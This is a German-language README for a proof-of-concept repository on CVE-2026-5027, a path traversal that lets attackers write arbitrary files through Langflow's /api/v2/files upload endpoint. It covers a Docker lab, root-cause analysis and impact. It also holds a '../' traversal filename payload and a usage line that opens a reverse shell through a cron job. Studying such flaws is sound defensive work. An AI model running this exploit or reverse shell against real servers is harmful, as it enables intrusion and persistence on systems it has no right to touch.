CVE-2026-5027

★ CVE-2026-5027 Langflow Pfad-Traversal / Beliebiger Dateischreibzugriff PoC ★ CVE-2026-5027 PoC-Test

Beschreibung

CVE-2026-5027 : Langflow Schwachstelle für beliebigen Dateischreibzugriff

Eine Pfad-Traversal-Schwachstelle in Langflow <= 1.8.4 erlaubt Angreifern, beliebige Dateien außerhalb des vorgesehenen Upload-Verzeichnisses zu schreiben, indem ein manipulierter Multipart-filename an den Endpunkt /api/v2/files übergeben wird. In Bereitstellungen, in denen Auto-Login aktiviert oder die Authentifizierung anderweitig schwach durchgesetzt ist, kann dieses Problem ausgenutzt werden, um Remote-Code-Ausführung zu erreichen, indem vom Angreifer kontrollierter Inhalt in sensible Dateisystempfade geschrieben wird.

Laboraufbau

Erstellen und Ausführen der verwundbaren Umgebung mit Docker:

Image erstellen

docker build -t cve-2026-5027 .

Container ausführen

docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027

Verwendung

Ausführung

# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>

# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444

Analyse

Verwundbarer Endpunkt

POST /api/v2/files

Das Problem besteht, weil die Upload-Funktion dem vom Client bereitgestellten Multipart-filename-Wert vertraut. Anstatt einen sicheren serverseitigen Speichernamen zu generieren oder den aufgelösten Pfad auf ein dediziertes Upload-Verzeichnis zu beschränken, erlaubt der verwundbare Codepfad Traversal-Sequenzen wie ../, den endgültigen Zielpfad zu beeinflussen.

Infolgedessen kann ein Angreifer den vorgesehenen Speicherstamm umgehen und die Anwendung zwingen, Dateien an beliebige Stellen im Server-Dateisystem zu schreiben.

Ein repräsentativer Exploit-Ablauf ist wie folgt:

Erhalten Sie ein Zugriffstoken durch normale Anmeldung oder eine Auto-Login-fähige Bereitstellung.
Senden Sie eine Multipart-Upload-Anfrage an /api/v2/files.
Übergeben Sie einen manipulierten filename mit Pfad-Traversal-Sequenzen.
Veranlassen Sie Langflow, vom Angreifer kontrollierten Inhalt außerhalb des erwarteten Speicherverzeichnisses zu schreiben.

Dies ist im Kern ein CWE-22: Unzureichende Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis-Problem.

Technische Ursache

Der Sicherheitsfehler wird durch unzureichende Bereinigung und Validierung benutzergesteuerter Dateipfade während der Upload-Verarbeitung verursacht. Die Anwendung akzeptiert den ursprünglichen Client-Dateinamen und übergibt ihn an den Speicherworkflow, ohne die Pfadnormalisierung und -begrenzung angemessen durchzusetzen.

Aus defensiver Sicht ist das gefährliche Muster konzeptionell ähnlich wie das Folgende:

save_path = base_dir / file.filename

Wenn file.filename Pfad-Traversal-Komponenten wie enthält:

../../../../tmp/poc.txt

kann der endgültig aufgelöste Pfad außerhalb von base_dir zeigen, was einen beliebigen Dateischreibzugriff ermöglicht.

Warum dies wichtig ist

Schwachstellen für beliebiges Dateischreiben sind oft schwerwiegender als standardmäßige uneingeschränkte Upload-Probleme, da der Angreifer nicht nur den Dateiinhalt, sondern auch den Zielpfad kontrolliert. Abhängig von den Laufzeitberechtigungen des Langflow-Prozesses kann dies Folgendes ermöglichen:

Überschreiben von Anwendungsdateien
Modifikation von Start- oder geplanten Task-Dateien
Persistenz durch Shell-Initialisierung oder Schlüsseldateien
Eskalation von beliebigem Dateischreiben zu Remote-Code-Ausführung

Szenario

+-------------------------------------------+
|                  Attacker                 |
+-------------------------------------------+
                      |
                      | Obtain access token
                      | or abuse auto-login
                      v
+-------------------------------------------+
|        Langflow /api/v2/files             |
+-------------------------------------------+
                      |
                      | Crafted multipart filename
                      | (../ directory traversal)
                      v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
                      |
                      | Write to sensitive location
                      v
+-------------------------------------------+
|      Potential Remote Code Execution      |
+-------------------------------------------+

Haftungsausschluss

Dieses Repository ist nicht dazu gedacht, die unbefugte Ausnutzung von Langflow-Instanzen zu erleichtern. Der Zweck dieses Projekts ist es, Sicherheitsforschern, Verteidigern und Entwicklern zu helfen, die Schwachstelle zu verstehen, die Gefährdung in kontrollierten Umgebungen zu validieren und wirksame Gegenmaßnahmen anzuwenden.